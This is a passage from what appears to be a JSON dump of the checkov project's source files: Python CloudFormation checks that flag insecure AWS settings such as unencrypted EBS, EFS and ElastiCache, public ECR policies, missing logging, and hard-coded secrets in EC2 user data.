    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass DynamodbGlobalTableRecovery(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure DynamoDB global table point in time recovery (backup) is enabled\"\n        id = \"CKV_AWS_165\"\n        supported_resources = ['AWS::DynamoDB::GlobalTable']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/Replicas/[0]/PointInTimeRecoverySpecification/PointInTimeRecoveryEnabled'\n\n\ncheck = DynamodbGlobalTableRecovery()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/DynamodbRecovery.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass DynamodbRecovery(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure DynamoDB point in time recovery (backup) is enabled\"\n        id = \"CKV_AWS_28\"\n        supported_resources = ['AWS::DynamoDB::Table']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/PointInTimeRecoverySpecification/PointInTimeRecoveryEnabled'\n\n\ncheck = DynamodbRecovery()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/EBSDefaultEncryption.py",
    "content": "# CloudFormation does not currently support.\n#\n# September 2021\n#\n# https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/EBSDefaultEncryption.py\n#\n# https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/158\n#\n# check_id: CKV_AWS_106\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/EBSEncryption.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass EBSEncryption(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure all data stored in the EBS is securely encrypted\"\n        id = \"CKV_AWS_3\"\n        supported_resources = (\"AWS::EC2::Volume\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/Encrypted\"\n\n\ncheck = EBSEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/EC2Credentials.py",
    "content": "from typing import List\nfrom base64 import b64decode\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.secrets import AWS, GENERAL, get_secrets_from_string\n\n\nclass EC2Credentials(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure no hard-coded secrets exist in EC2 user data\"\n        id = \"CKV_AWS_46\"\n        supported_resources = ['AWS::EC2::Instance']\n        categories = [CheckCategories.SECRETS]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'Properties' in conf.keys():\n            if 'UserData' in conf['Properties'].keys():\n                user_data = conf['Properties']['UserData']\n                # In some case, the UserData might be a base64 encoded string which will slow down (3 minutes)\n                # the get_secrets_from_string function.\n                try:\n                    user_data_str = b64decode(user_data).decode()\n                except Exception:\n                    # Cast to string as user data object can look slightly different depending\n                    # on Yaml or JSON CF Templates and how the B64 conversion is done.\n                    user_data_str = str(user_data)\n\n                if isinstance(user_data_str, str):\n                    secrets = get_secrets_from_string(str(user_data_str), GENERAL, AWS)\n                    if secrets:\n                        for idx, secret in enumerate(secrets):\n                            conf[f'{self.id}_secret_{idx}'] = secret\n                        return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"Properties/UserData\"]\n\n\ncheck = EC2Credentials()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/EC2PublicIP.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass EC2PublicIP(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"EC2 instance should not have public IP.\"\n        id = \"CKV_AWS_88\"\n        supported_resources = ('AWS::EC2::Instance', 'AWS::EC2::LaunchTemplate')\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = ['Properties']\n        properties = conf.get('Properties')\n        if properties:\n            # For AWS::EC2::Instance\n            if 'NetworkInterfaces' in properties.keys():\n                network_interfaces = properties['NetworkInterfaces']\n                if isinstance(network_interfaces, list):\n                    for idx, network_interface in enumerate(network_interfaces):\n                        if 'AssociatePublicIpAddress' in network_interface.keys():\n                            if network_interface['AssociatePublicIpAddress'] is True:\n                                self.evaluated_keys = [f'Properties/NetworkInterfaces/[{idx}]/AssociatePublicIpAddress']\n                                return CheckResult.FAILED\n                        else:\n                            # If not made explicit then default is true if default subnet and false otherwise.\n                            # This info can not be derived from template so result is unknown.\n                            # https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ec2-network-iface-embedded.html#Properties%23AssociatePublicIpAddress\n                            return CheckResult.UNKNOWN\n            # For 'AWS::EC2::LaunchTemplate'\n            if 'LaunchTemplateData' in properties.keys():\n                if 'NetworkInterfaces' in properties['LaunchTemplateData'].keys():\n                    network_interfaces = properties['LaunchTemplateData']['NetworkInterfaces']\n                    if isinstance(network_interfaces, list):\n                        for idx, network_interface in enumerate(network_interfaces):\n                            if 'AssociatePublicIpAddress' in network_interface.keys():\n                                if network_interface['AssociatePublicIpAddress'] is True:\n                                    self.evaluated_keys = [f'Properties/LaunchTemplateData/NetworkInterfaces/[{idx}]/AssociatePublicIpAddress']\n                                    return CheckResult.FAILED\n                            else:\n                                return CheckResult.UNKNOWN\n        return CheckResult.PASSED\n\n\ncheck = EC2PublicIP()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/ECRImageScanning.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ECRImageScanning(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure ECR image scanning on push is enabled\"\n        id = \"CKV_AWS_163\"\n        supported_resources = [\"AWS::ECR::Repository\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"Properties/ImageScanningConfiguration/ScanOnPush\"\n\n\ncheck = ECRImageScanning()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/ECRImmutableTags.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ECRImmutableTags(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure ECR Image Tags are immutable\"\n        id = \"CKV_AWS_51\"\n        supported_resources = (\"AWS::ECR::Repository\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/ImageTagMutability\"\n\n    def get_expected_value(self) -> Any:\n        return \"IMMUTABLE\"\n\n\ncheck = ECRImmutableTags()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/ECRPolicy.py",
    "content": "from __future__ import annotations\n\nimport json\nimport logging\nimport re\nfrom typing import Any\n\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.consts import SLS_DEFAULT_VAR_PATTERN\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass ECRPolicy(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure ECR policy is not set to public\"\n        id = \"CKV_AWS_32\"\n        supported_resources = (\"AWS::ECR::Repository\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        \"\"\"\n            Looks for public * policy for ecr repository:\n            https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ecr-repository.html\n        :param conf: aws_ecr_repository configuration\n        :return: <CheckResult>\n        \"\"\"\n        self.evaluated_keys = [\"Properties/RepositoryPolicyText/Statement\"]\n        properties = conf.get(\"Properties\")\n        if not properties or not isinstance(properties, dict):\n            return CheckResult.PASSED\n        policy_text = properties.get(\"RepositoryPolicyText\")\n        if not policy_text:\n            return CheckResult.PASSED\n        if isinstance(policy_text, str):\n            try:\n                policy_text = json.loads(str(policy_text))\n            except json.decoder.JSONDecodeError as e:\n                if re.match(SLS_DEFAULT_VAR_PATTERN, str(policy_text)):\n                    # Case where the template is a sub-CFN configuration inside a serverless configuration,\n                    # and the policy is a variable expression\n                    logging.info(f\"Encountered variable expression {str(policy_text)} in resource ${self.entity_path}\")\n                else:\n                    logging.error(\n                        f\"Malformed policy configuration {str(policy_text)} of resource {self.entity_path}\\n{e}\"\n                    )\n                return CheckResult.UNKNOWN\n        if \"Statement\" in policy_text.keys() and isinstance(policy_text[\"Statement\"], list):\n            for statement_index, statement in enumerate(policy_text[\"Statement\"]):\n                if \"Principal\" in statement.keys():\n                    principal_block = statement[\"Principal\"]\n                    evaluated_key = f\"Properties/RepositoryPolicyText/Statement/[{statement_index}]/Principal\"\n                    if isinstance(principal_block, dict) and 'AWS' in principal_block:\n                        principal_block = principal_block['AWS']\n                        evaluated_key += \"/AWS\"\n                    for principal_index, principal in enumerate(principal_block):\n                        if principal == \"*\" and not self.check_for_constrained_condition(statement):\n                            if isinstance(principal_block, list):\n                                self.evaluated_keys = [f\"{evaluated_key}/[{principal_index}]/\"]\n                            else:\n                                self.evaluated_keys = [f\"{evaluated_key}\"]\n                            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def check_for_constrained_condition(self, statement: dict[str, Any]) -> bool:\n        \"\"\"\n        Checks to see if there is a constraint on a a wildcarded principal\n        :param statement: statement from aws_repository_configuration\n        :return: true if there is a constraint\n        \"\"\"\n        if \"Condition\" in statement:\n            condition = statement[\"Condition\"]\n            string_equals = None\n            if \"StringEquals\" in condition:\n                string_equals = condition[\"StringEquals\"]\n            elif \"ForAllValues:StringEquals\" in condition:\n                string_equals = condition[\"ForAllValues:StringEquals\"]\n            elif \"ForAnyValue:StringEquals\" in condition:\n                string_equals = condition[\"ForAnyValue:StringEquals\"]\n\n            if isinstance(string_equals, dict) and \"aws:PrincipalOrgID\" in string_equals:\n                return True\n\n        return False\n\n\ncheck = ECRPolicy()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/ECRRepositoryEncrypted.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ECRRepositoryEncrypted(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that ECR repositories are encrypted using KMS\"\n        id = \"CKV_AWS_136\"\n        supported_resources = (\"AWS::ECR::Repository\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/EncryptionConfiguration/EncryptionType\"\n\n    def get_expected_value(self) -> Any:\n        return \"KMS\"\n\n\ncheck = ECRRepositoryEncrypted()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/ECSClusterContainerInsights.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ECSClusterContainerInsights(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure container insights are enabled on ECS cluster\"\n        id = \"CKV_AWS_65\"\n        supported_resources = (\"AWS::ECS::Cluster\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        \"\"\"\n            Looks for container insights configuration on ECS cluster:\n            https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ecs-cluster.html#cfn-ecs-cluster-clustersettings\n        :param conf: AWS::ECS::Cluster configuration\n        :return: <CheckResult>\n        \"\"\"\n        self.evaluated_keys = [\"Properties\"]\n        properties = conf.get(\"Properties\")\n        if properties and isinstance(properties, dict):\n            settings = properties.get(\"ClusterSettings\")\n            if settings and isinstance(settings, list):\n                self.evaluated_keys = [\"Properties/ClusterSettings\"]\n                for setting in settings:\n                    if setting[\"Name\"] == \"containerInsights\" and setting[\"Value\"] in [\"enhanced\", \"enabled\"]:\n                        return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = ECSClusterContainerInsights()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/ECSTaskDefinitionEFSVolumeEncryption.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ECSTaskDefinitionEFSVolumeEncryption(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Encryption in transit is enabled for EFS volumes in ECS Task definitions\"\n        id = \"CKV_AWS_97\"\n        supported_resources = (\"AWS::ECS::TaskDefinition\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        properties = conf.get(\"Properties\")\n        if properties and isinstance(properties, dict):\n            self.evaluated_keys = [\"Properties\"]\n            volumes = properties.get(\"Volumes\")\n            if volumes and isinstance(volumes, list):\n                self.evaluated_keys = [\"Properties/Volumes\"]\n                for idx, volume in enumerate(volumes):\n                    efs_config = volume.get(\"EFSVolumeConfiguration\")\n                    if efs_config and isinstance(efs_config, dict):\n                        self.evaluated_keys = [f\"Properties/Volumes/[{idx}]/EFSVolumeConfiguration\"]\n                        if efs_config.get(\"TransitEncryption\") == \"ENABLED\":\n                            return CheckResult.PASSED\n                        else:\n                            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = ECSTaskDefinitionEFSVolumeEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/EFSEncryptionEnabled.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass EFSEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure EFS is securely encrypted\"\n        id = \"CKV_AWS_42\"\n        supported_resources = ['AWS::EFS::FileSystem']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/Encrypted'\n\n\ncheck = EFSEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/EKSControlPlaneLogging.py",
    "content": "# CloudFormation does not currently support.\n#\n# September 2021\n#\n# https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/EKSControlPlaneLogging.py\n#\n# https://github.com/aws/containers-roadmap/issues/242\n# https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/208\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/EKSNodeGroupRemoteAccess.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass EKSNodeGroupRemoteAccess(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure AWS EKS node group does not have implicit SSH access from 0.0.0.0/0\"\n        id = \"CKV_AWS_100\"\n        supported_resources = ('AWS::EKS::Nodegroup',)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if 'Properties' in conf.keys():\n            if 'RemoteAccess' in conf['Properties'].keys():\n                if 'Ec2SshKey' in conf['Properties']['RemoteAccess'].keys():\n                    if 'SourceSecurityGroups' in conf['Properties']['RemoteAccess'].keys():\n                        return CheckResult.PASSED\n                    else:\n                        return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [\"Properties/RemoteAccess/Ec2SshKey\", \"Properties/RemoteAccess/SourceSecurityGroups\"]\n\n\ncheck = EKSNodeGroupRemoteAccess()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/EKSPublicAccess.py",
    "content": "# CloudFormation does not currently support.\n#\n# September 2021\n#\n# https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/EKSPublicAccess.py\n#\n# https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/118\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/EKSPublicAccessCIDR.py",
    "content": "# CloudFormation does not currently support.\n#\n# September 2021\n#\n# https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/EKSPublicAccessCIDR.py\n#\n# https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/118\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/EKSSecretsEncryption.py",
    "content": "from typing import List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass EKSSecretsEncryption(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure EKS Cluster has Secrets Encryption Enabled\"\n        id = \"CKV_AWS_58\"\n        supported_resources = ['AWS::EKS::Cluster']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for eks secrets encryption\n            https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-eks-cluster-encryptionconfig.html\n        :param conf: AWS::EKS::Cluster configuration\n        :return: <CheckResult>\n        \"\"\"\n        encryption_config = list(conf.get('Properties', {}).get('EncryptionConfig', []))\n        encryption_config_resources = [p[\"Resources\"] for p in encryption_config if \"Resources\" in p]\n        if isinstance(encryption_config_resources, list) and any('secrets' in r for r in encryption_config_resources):\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"Properties/EncryptionConfig/Resources\"]\n\n\ncheck = EKSSecretsEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/ELBAccessLogs.py",
    "content": "from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass ELBAccessLogs(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure the ELB has access logging enabled\"\n        id = \"CKV_AWS_92\"\n        supported_resources = ['AWS::ElasticLoadBalancing::LoadBalancer']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/AccessLoggingPolicy/Enabled'\n\n\ncheck = ELBAccessLogs()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/ELBv2AccessLogs.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ELBv2AccessLogs(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure the ELBv2 (Application/Network) has access logging enabled\"\n        id = \"CKV_AWS_91\"\n        supported_resources = ['AWS::ElasticLoadBalancingV2::LoadBalancer']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'Properties' in conf.keys():\n            self.evaluated_keys = ['Properties']\n            if 'LoadBalancerAttributes' in conf['Properties'].keys():\n                self.evaluated_keys = ['Properties/LoadBalancerAttributes']\n                if isinstance(conf['Properties']['LoadBalancerAttributes'], list):\n                    for item in conf['Properties']['LoadBalancerAttributes']:\n                        if 'Key' in item.keys() and 'Value' in item.keys():\n                            if item['Key'] == \"access_logs.s3.enabled\":\n                                value = item['Value']\n                                if isinstance(value, bool):\n                                    value = str(value).lower()\n                                if value == \"true\":\n                                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = ELBv2AccessLogs()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtRest.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ElasticacheReplicationGroupEncryptionAtRest(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure all data stored in the ElastiCache Replication Group is securely encrypted at rest\"\n        id = \"CKV_AWS_29\"\n        supported_resources = ['AWS::ElastiCache::ReplicationGroup']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/AtRestEncryptionEnabled'\n\n\ncheck = ElasticacheReplicationGroupEncryptionAtRest()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransit.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ElasticacheReplicationGroupEncryptionAtTransit(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit\"\n        id = \"CKV_AWS_30\"\n        supported_resources = (\"AWS::ElastiCache::ReplicationGroup\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/TransitEncryptionEnabled\"\n\n\ncheck = ElasticacheReplicationGroupEncryptionAtTransit()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ElasticacheReplicationGroupEncryptionAtTransitAuthToken(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit and has auth token\"\n        id = \"CKV_AWS_31\"\n        supported_resources = (\"AWS::ElastiCache::ReplicationGroup\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        \"\"\"\n            Looks for encryption configuration at aws_elasticache_replication_group:\n            https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticache-replicationgroup.html\n        :param conf: aws_elasticache_replication_group configuration\n        :return: <CheckResult>\n        \"\"\"\n        properties = conf. get(\"Properties\")\n        if properties and isinstance(properties, dict):\n            if \"TransitEncryptionEnabled\" in properties.keys() and (\"AuthToken\" in properties.keys() or\n                                                                    \"UserGroupIds\" in properties.keys()):\n                if conf[\"Properties\"][\"TransitEncryptionEnabled\"]:\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"Properties\", \"Properties/TransitEncryptionEnabled\", \"Properties/AuthToken\", \"Properties/UserGroupIds\"]\n\n\ncheck = ElasticacheReplicationGroupEncryptionAtTransitAuthToken()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/ElasticsearchDomainAuditLogging.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ElasticsearchDomainAuditLogging(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Elasticsearch Domain Audit Logging is enabled\"\n        id = \"CKV_AWS_317\"\n        supported_resources = (\"AWS::Elasticsearch::Domain\", \"AWS::OpenSearchService::Domain\")\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/LogPublishingOptions/AUDIT_LOGS/Enabled\"\n\n\ncheck = ElasticsearchDomainAuditLogging()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/ElasticsearchDomainEnforceHTTPS.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ElasticsearchDomainEnforceHTTPS(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Elasticsearch Domain enforces HTTPS\"\n        id = \"CKV_AWS_83\"\n        supported_resources = (\"AWS::Elasticsearch::Domain\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/DomainEndpointOptions/EnforceHTTPS\"\n\n\ncheck = ElasticsearchDomainEnforceHTTPS()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/ElasticsearchDomainLogging.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass ElasticsearchDomainLogging(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Elasticsearch Domain Logging is enabled\"\n        id = \"CKV_AWS_84\"\n        supported_resources = (\"AWS::Elasticsearch::Domain\", \"AWS::OpenSearchService::Domain\")\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        properties = conf.get(\"Properties\")\n        if properties:\n            self.evaluated_keys = [\"Properties\"]\n            options = properties.get(\"LogPublishingOptions\")\n            if options:\n                self.evaluated_keys = [\"Properties/LogPublishingOptions\"]\n                for option_conf in options.values():\n                    if isinstance(option_conf, dict) and option_conf.get(\"Enabled\"):\n                        return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = ElasticsearchDomainLogging()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/ElasticsearchEncryption.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ElasticsearchEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure all data stored in the Elasticsearch is securely encrypted at rest\"\n        id = \"CKV_AWS_5\"\n        supported_resources = ['AWS::Elasticsearch::Domain']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'Properties/EncryptionAtRestOptions/Enabled'\n\n\ncheck = ElasticsearchEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/ElasticsearchNodeToNodeEncryption.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass ElasticsearchNodeToNodeEncryption(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure all Elasticsearch has node-to-node encryption enabled\"\n        id = \"CKV_AWS_6\"\n        supported_resources = (\"AWS::Elasticsearch::Domain\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"Properties/NodeToNodeEncryptionOptions/Enabled\"\n\n\ncheck = ElasticsearchNodeToNodeEncryption()\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/GlobalAcceleratorAcceleratorFlowLogs.py",
    "content": "# CloudFormation does not currently support.\n#\n# September 2021\n#\n# https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/resource/aws/GlobalAcceleratorAcceleratorFlowLogs.py\n#\n# https://github.com/aws-cloudformation/cloudformation-coverage-roadmap/issues/922\n"
  },
  {
    "path": "checkov/cloudformation/checks/resource/aws/GlueDataCatalogEncryption.py",
